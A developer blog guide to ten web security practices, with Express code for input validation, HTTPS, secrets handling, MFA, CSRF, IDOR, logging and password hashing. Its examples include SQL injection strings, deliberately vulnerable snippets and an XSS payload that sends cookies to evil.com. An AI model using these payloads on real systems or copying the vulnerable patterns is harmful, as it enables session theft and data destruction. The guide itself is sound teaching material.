Building secure software is not optional. Protect your users, your data, and your reputation with these key security practices — including real code examples, OWASP alignment, and Africa-specific threat context.
G-Tech Blog | 2026 | 20 min readIn 2026, cyber threats are more sophisticated, more automated, and more targeted than ever. Every week, applications across Africa and globally are compromised through vulnerabilities that were entirely preventable — SQL injection, exposed API keys, unvalidated user input, missing HTTPS, and inadequate authentication. As a developer, security is not the responsibility of a dedicated security team you will someday work with. It's your responsibility, in every line of code you write, right now. This guide covers the top 10 security practices every developer must implement, with real code examples, common attack scenarios, and practical steps for implementation in the stacks most used by African developers.
The nature of cyberattacks has shifted significantly. Automated bots scan the internet continuously, probing
for common vulnerabilities — misconfigured S3 buckets, exposed .env files, default database
credentials, and unpatched dependencies. The average time between a vulnerability being published and it
being actively exploited in the wild has shrunk to under 15 minutes in some cases. This means patching
"eventually" is no longer a viable approach.
Every piece of data that enters your application from the outside world — form fields, URL parameters, HTTP headers, cookies, uploaded files, API payloads — must be treated as potentially malicious until proven otherwise. This principle prevents the majority of injection attacks, XSS vulnerabilities, and data corruption issues in one step.
Validate means checking that the data matches the expected format and constraints (e.g. email must be a valid email address, age must be a number between 0 and 150). Sanitize means removing or encoding dangerous characters from the input before using it. Escape means encoding data appropriately for the context where it will be used (HTML encoding for rendering in a browser, SQL parameterization for database queries).
// DANGEROUS — directly interpolating user input into SQL
app.get('/user', async (req, res) => {
const name = req.query.name; // Could be anything, including SQL code
const result = await db.query(`SELECT * FROM users WHERE name = '${name}'`);
res.json(result.rows);
});
// If name = "'; DROP TABLE users; --" the table gets dropped
const { body, query, validationResult } = require('express-validator');
app.get('/user',
// Step 1: Validate the input
query('name').isString().trim().isLength({ min: 1, max: 100 }),
async (req, res) => {
// Step 2: Check validation result
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Step 3: Use parameterized query — never interpolate
const result = await db.query(
'SELECT id, name, email FROM users WHERE name = $1',
[req.query.name] // $1 is safely parameterized
);
res.json(result.rows);
}
);
HTTPS (HTTP over TLS/SSL) encrypts all communication between a user's browser and your server. Without it, anyone on the same network — coffee shop Wi-Fi, shared internet connection, an ISP employee — can read the data being transmitted, including passwords, personal information, M-Pesa transaction details, and session tokens. In Kenya, where public Wi-Fi in Nairobi CBD, malls, and universities is common, this is a genuine daily risk to your users.
As of 2026, there is no legitimate reason to run any website or API over plain HTTP. Let's Encrypt provides completely free, automatically renewable TLS certificates. Every major hosting platform (Vercel, Netlify, Render, Railway) enables HTTPS by default. If you are on shared hosting in Kenya (Truehost, Kenya Web Experts), you can enable a free Let's Encrypt certificate from your cPanel in under 5 minutes.
Strict-Transport-Security (HSTS) header to tell browsers to always use HTTPS
Set-Cookie headers include the Secure flag so cookies are
never sent over HTTP// Express.js — Force HTTPS and set HSTS header
app.use((req, res, next) => {
if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === 'production') {
return res.redirect(301, `https://${req.hostname}${req.url}`);
}
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
next();
});
Modern web applications use hundreds of third-party packages. The 2021 Log4Shell vulnerability (Log4j) affected millions of applications worldwide — not because developers wrote bad code, but because a widely used logging library had a critical flaw. The SolarWinds attack used a compromised build dependency to infect thousands of enterprise systems. Your application's security is only as strong as its weakest dependency.
# Audit Node.js dependencies for known vulnerabilities
npm audit
# Fix automatically where possible
npm audit fix
# For a detailed report with CVE IDs
npm audit --json
# Install Snyk for deeper scanning (free tier available)
npm install -g snyk
snyk test
# For Python projects
pip install safety
safety check
npm audit or pip audit before every production deploymentpackage-lock.json,
requirements.txt with pinned versions) to prevent unexpected updates
This is one of the most common and most severe mistakes developers make. A hardcoded API key, database password, or JWT secret committed to a public GitHub repository can be found by automated scanners within minutes. Bots continuously crawl GitHub and GitLab for newly committed secrets — there are documented cases of AWS bills reaching tens of thousands of dollars within hours of a key being exposed.
// NEVER hardcode secrets — this gets committed and exposed
const openAIKey = "sk-proj-1234abcd...";
const dbPassword = "MyPassword123!";
const mpesaConsumerKey = "abc123def456...";
// .env.local (add to .gitignore — NEVER commit this file)
DATABASE_URL=postgresql://user:password@localhost/mydb
OPENAI_API_KEY=sk-proj-...
MPESA_CONSUMER_KEY=...
JWT_SECRET=a-long-random-string-at-least-32-chars
// In your code
require('dotenv').config();
const openAIKey = process.env.OPENAI_API_KEY;
const dbUrl = process.env.DATABASE_URL;
# Add .env to .gitignore — critical step often forgotten
echo ".env" >> .gitignore
echo ".env.local" >> .gitignore
echo ".env.production" >> .gitignore
# Check if any secrets were accidentally committed
git log --all --full-history -- .env
# Scan repo for accidentally committed secrets
npx trufflesecurity/trufflehog git file://.
The average data breach exposes millions of username-password combinations. Users reuse passwords across services. Password spraying attacks try common passwords against thousands of accounts simultaneously. In 2026, any serious application handling user data or financial transactions must implement authentication beyond a simple username and password.
// JWT token generation with proper expiry and signing
const jwt = require('jsonwebtoken');
const bcrypt = require('bcryptjs');
// Login endpoint
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
if (!user.rows[0]) {
// Return the same error for both wrong email and wrong password
// to prevent user enumeration
return res.status(401).json({ error: 'Invalid credentials' });
}
// Compare password with stored hash
const isValid = await bcrypt.compare(password, user.rows[0].password_hash);
if (!isValid) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Generate short-lived access token + longer refresh token
const accessToken = jwt.sign(
{ userId: user.rows[0].id, role: user.rows[0].role },
process.env.JWT_SECRET,
{ expiresIn: '15m' } // Short expiry for access tokens
);
const refreshToken = jwt.sign(
{ userId: user.rows[0].id },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
res.json({ accessToken, refreshToken });
});
const speakeasy = require('speakeasy');
const qrcode = require('qrcode');
// Generate a TOTP secret for a user during MFA setup
app.post('/auth/mfa/setup', authenticateToken, async (req, res) => {
const secret = speakeasy.generateSecret({
name: `MyApp (${req.user.email})`,
});
// Store secret.base32 in user record (encrypted)
await db.query('UPDATE users SET totp_secret = $1 WHERE id = $2',
[secret.base32, req.user.id]);
// Return QR code for user to scan with Google Authenticator
const qrDataUrl = await qrcode.toDataURL(secret.otpauth_url);
res.json({ qrCode: qrDataUrl });
});
// Verify TOTP token during login
app.post('/auth/mfa/verify', async (req, res) => {
const { userId, token } = req.body;
const user = await db.query('SELECT totp_secret FROM users WHERE id = $1', [userId]);
const verified = speakeasy.totp.verify({
secret: user.rows[0].totp_secret,
encoding: 'base32',
token,
window: 1, // Allow 30-second window for clock drift
});
if (!verified) return res.status(401).json({ error: 'Invalid MFA token' });
// Issue full access token after MFA verification
res.json({ authenticated: true });
});
The principle of least privilege means that every component of your system — database users, API keys, service accounts, IAM roles — should have the minimum permissions needed to perform its specific function, and nothing more. When a breach occurs, least privilege dramatically limits the blast radius: a compromised database user that can only read from one table can't drop the entire database.
-- Create a restricted database user for your application
-- This user can ONLY read and write to the specific tables it needs
CREATE USER app_user WITH PASSWORD 'strong_random_password';
-- Grant only necessary permissions on specific tables
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON posts TO app_user;
GRANT SELECT ON categories TO app_user; -- read-only on categories
-- Do NOT grant: DROP TABLE, CREATE TABLE, ALTER TABLE, TRUNCATE
-- Do NOT grant permissions on system tables
-- Do NOT use the postgres superuser for application connections
-- Verify permissions
\dp -- in psql
XSS attacks occur when an attacker injects malicious JavaScript into a page that is then executed in other users' browsers. A stored XSS vulnerability in a comment field, for example, could allow an attacker to steal session tokens, redirect users to phishing sites, or execute actions on behalf of logged-in users — including authorizing M-Pesa payments.
// ’R VULNERABLE — directly inserting user content into HTML
document.getElementById('username').innerHTML = userInput;
// If userInput = "<script>document.location='https://evil.com?c='+document.cookie</script>"
// The attacker steals all cookies including session tokens
// “& SAFE — use textContent instead of innerHTML
document.getElementById('username').textContent = userInput;
// textContent escapes HTML entities, so <script> becomes literal text
// “& SAFE in React — JSX escapes by default
function UserProfile({ username }) {
return <div>{username}</div>; // Safe — React escapes the value
// NEVER use dangerouslySetInnerHTML unless you have sanitized the content
}
// If you MUST render HTML (e.g. rich text content from a CMS), use DOMPurify
import DOMPurify from 'dompurify';
function RichContent({ htmlContent }) {
const clean = DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [] // Remove all attributes for maximum safety
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// Setting a strict CSP header in Express
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://pagead2.googlesyndication.com; " +
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; " +
"font-src 'self' https://fonts.gstatic.com; " +
"img-src 'self' data: https:; " +
"connect-src 'self';"
);
next();
});
CSRF (Cross-Site Request Forgery) exploits the fact that browsers automatically include cookies with every request to a domain. An attacker can create a malicious website that, when visited by a logged-in user, silently submits requests to your application on their behalf — transferring money, changing passwords, or deleting data.
// CSRF protection with csurf middleware in Express
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: { httpOnly: true, secure: true } });
// Apply to all state-changing routes
app.post('/transfer-funds', csrfProtection, (req, res) => {
// The middleware verifies the CSRF token before reaching this code
// If the token is missing or invalid, it returns 403 Forbidden
processFundTransfer(req.body);
});
// Include the CSRF token in your form or API response
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// On the frontend, include it in every state-changing request
const response = await fetch('/api/csrf-token');
const { csrfToken } = await response.json();
await fetch('/transfer-funds', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify({ amount, recipient }),
});
SameSite=Strict or SameSite=Lax attribute on session cookies to
prevent cross-site cookie sendingOrigin header on sensitive server-side operationsUnsecured API endpoints are one of the most common entry points for attackers. An API route that checks authentication but not authorization (whether the authenticated user is allowed to access this specific resource) creates IDOR (Insecure Direct Object Reference) vulnerabilities — where any authenticated user can access any other user's data by guessing IDs.
// ’R VULNERABLE to IDOR — any user can read any other user's data
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
const profile = await db.query('SELECT * FROM profiles WHERE user_id = $1',
[req.params.id]); // No check that req.params.id === req.user.id
res.json(profile.rows[0]);
});
// “& SECURE — check that the requester owns the resource
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
// Verify the requesting user is accessing their own profile
// OR has an admin role
if (req.params.id !== String(req.user.id) && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const profile = await db.query('SELECT * FROM profiles WHERE user_id = $1',
[req.params.id]);
res.json(profile.rows[0]);
});
const rateLimit = require('express-rate-limit');
// General API rate limit
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window per IP
message: { error: 'Too many requests. Please try again later.' },
standardHeaders: true,
legacyHeaders: false,
});
// Stricter limit for authentication endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // Only 5 login attempts per 15 minutes
message: { error: 'Too many login attempts. Please try again later.' },
skipSuccessfulRequests: true, // Don't count successful logins
});
app.use('/api/', apiLimiter);
app.use('/api/auth/login', authLimiter);
app.use('/api/auth/register', authLimiter);
const cors = require('cors');
// Be specific about which origins are allowed
const corsOptions = {
origin: ['https://yourapp.com', 'https://www.yourapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
credentials: true, // Allow cookies to be sent cross-origin
maxAge: 86400, // Cache preflight for 24 hours
};
app.use(cors(corsOptions));
// NEVER use cors({ origin: '*' }) on an API that requires authentication
Security logging serves two purposes: detecting attacks in progress so you can respond, and forensic investigation after a breach to understand what happened. Many breaches go undetected for weeks or months because no one is watching the logs. An intrusion that is detected within hours causes far less damage than one detected weeks later.
const winston = require('winston');
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
transports: [
new winston.transports.File({ filename: 'security.log', level: 'warn' }),
new winston.transports.Console(),
],
});
// Log all failed authentication attempts
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await findUser(email);
const isValid = user && await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
logger.warn('Failed login attempt', {
email,
ip: req.ip,
userAgent: req.get('User-Agent'),
timestamp: new Date().toISOString(),
});
return res.status(401).json({ error: 'Invalid credentials' });
}
logger.info('Successful login', { userId: user.id, ip: req.ip });
// ... issue token
});
// Log all authorization failures
app.use((req, res, next) => {
res.on('finish', () => {
if (res.statusCode === 403) {
logger.warn('Authorization failure', {
path: req.path,
method: req.method,
userId: req.user?.id,
ip: req.ip,
});
}
});
next();
});
Storing passwords in plain text or with weak hashing (MD5, SHA-1) is a critical vulnerability. When your database is breached, all user passwords are immediately exposed. Use bcrypt, Argon2, or scrypt — algorithms specifically designed for password hashing that are intentionally slow to make brute-force attacks computationally expensive.
const bcrypt = require('bcryptjs');
// During registration — hash before storing
const SALT_ROUNDS = 12; // Work factor; higher = slower = more secure
// 12 is the current recommended minimum
async function createUser(email, password) {
const passwordHash = await bcrypt.hash(password, SALT_ROUNDS);
await db.query(
'INSERT INTO users (email, password_hash) VALUES ($1, $2)',
[email, passwordHash]
);
}
// During login — compare without ever seeing the plain text
async function verifyPassword(plainTextPassword, storedHash) {
return bcrypt.compare(plainTextPassword, storedHash);
}
// For password reset — generate a secure time-limited token
const crypto = require('crypto');
async function generatePasswordResetToken(userId) {
const token = crypto.randomBytes(32).toString('hex');
const expiresAt = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
await db.query(
'UPDATE users SET reset_token = $1, reset_expires = $2 WHERE id = $3',
[token, expiresAt, userId]
);
return token; // Send this in the reset email link
}
SQL injection remains in the OWASP Top 10 in 2026 because it is still everywhere. The fix is simple and absolute: never build SQL queries through string interpolation with user-supplied data. Use parameterized queries (also called prepared statements) or an ORM that handles this for you.
// ’R SQL INJECTION VULNERABLE
const userId = req.params.id; // Could be "1 OR 1=1" or "1; DROP TABLE users"
const query = `SELECT * FROM users WHERE id = ${userId}`;
// “& PARAMETERIZED QUERY (node-postgres)
const result = await pool.query(
'SELECT id, name, email FROM users WHERE id = $1',
[userId] // Safely bound; the driver handles escaping
);
// “& WITH PRISMA ORM — SQL injection impossible
const user = await prisma.user.findUnique({
where: { id: parseInt(userId) },
select: { id: true, name: true, email: true } // Only request needed fields
});
// “& WITH DRIZZLE ORM
const user = await db.select({
id: users.id, name: users.name, email: users.email
}).from(users).where(eq(users.id, parseInt(userId)));
Security headers are a simple, high-impact way to add multiple layers of protection with minimal code.
The helmet npm package sets the most important security headers automatically.
const helmet = require('helmet');
// Sets 15+ security headers with sensible defaults in one line
app.use(helmet());
// What helmet sets for you:
// X-Content-Type-Options: nosniff (prevents MIME sniffing)
// X-Frame-Options: SAMEORIGIN (prevents clickjacking)
// X-XSS-Protection: 1; mode=block (legacy XSS filter)
// Referrer-Policy: no-referrer (controls referrer information)
// Permissions-Policy: restricts browser features (camera, microphone, etc.)
// Content-Security-Policy: controls resource loading origins
// You can customize specific headers:
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://pagead2.googlesyndication.com"],
styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
},
},
crossOriginEmbedderPolicy: false, // May need to disable for some use cases
}));
The Open Web Application Security Project (OWASP) Top 10 is the industry's definitive list of the most critical web application security risks. Understanding how the tips in this guide address each OWASP category helps you see why these practices are prioritized.
| OWASP Category | Covered By | Risk |
|---|---|---|
| A01: Broken Access Control | Tips 6, 9 (IDOR prevention) | Critical |
| A02: Cryptographic Failures | Tips 2 (HTTPS), Bonus 1 (password hashing) | Critical |
| A03: Injection | Tips 1, Bonus 2 (SQL injection) | Critical |
| A04: Insecure Design | Tips 6 (least privilege), overall architecture | High |
| A05: Security Misconfiguration | Tips 4, 9 (CORS), Bonus 3 (headers) | High |
| A06: Vulnerable Components | Tip 3 (dependency management) | High |
| A07: Authentication Failures | Tip 5 (authentication, MFA) | High |
| A08: Software Integrity Failures | Tip 3 (dependency verification) | High |
| A09: Logging Failures | Tip 10 (logging and monitoring) | Medium |
| A10: Server-Side Request Forgery | Tips 1, 6 (input validation, least privilege) | Medium |
Both — but yours first. Security team reviews, penetration testing, and security audits catch vulnerabilities after they have been written. If you write secure code from the start, you eliminate the majority of vulnerabilities before they ever exist. The concept of "shift left" security means integrating security practices into development (the left side of the development lifecycle) rather than testing for it only at the end. In teams without dedicated security roles — which describes most small companies and startups — the developer is entirely responsible for application security.
Scan your current projects for accidentally committed secrets and rotate any that are found. Run
git log --all --full-history -- .env and use TruffleHog to scan your repositories. A single
exposed API key — for OpenAI, AWS, Stripe, or M-Pesa — can result in significant financial damage within
hours. This takes 15 minutes to check and potentially prevents a catastrophic incident. After that, ensure
all your projects use parameterized queries for database access — this eliminates the most destructive class
of injection attacks in one step.
Subscribe to these resources: the National Vulnerability Database (nvd.nist.gov) for CVE alerts, the OWASP newsletter for web application security trends, Snyk's vulnerability database for package-specific issues, and security-focused newsletters like Krebs on Security or The Hacker News for industry news. For your specific stack, follow the official security advisories: Node.js Security Working Group, Python Security mailing list, and the security sections of your primary framework's release notes (React, Next.js, Django, Laravel all publish security advisories).
The 10 tips in this guide — validating user input, enforcing HTTPS, managing dependencies, protecting secrets, implementing strong authentication, applying least privilege, preventing XSS and CSRF, securing APIs, and logging — address the majority of vulnerabilities in real-world web applications. None of them requires specialist knowledge or expensive tools. They require discipline and the habit of thinking about security at every step of development.
Security breaches are not random misfortune. They are almost always the predictable result of known, preventable vulnerabilities that were not addressed. Every SQL injection, every exposed API key, every missing HTTPS connection was a choice — not to implement a practice that was known to be necessary. Building secure software is building software that respects your users' trust and their data.
Start with the highest-impact items: scan your repos for secrets, add parameterized queries, enable HTTPS everywhere, and install helmet. Then work through the rest systematically. Security is not a destination — new vulnerabilities emerge constantly — but an ongoing practice that, once embedded in your development habits, costs very little time and prevents enormous harm.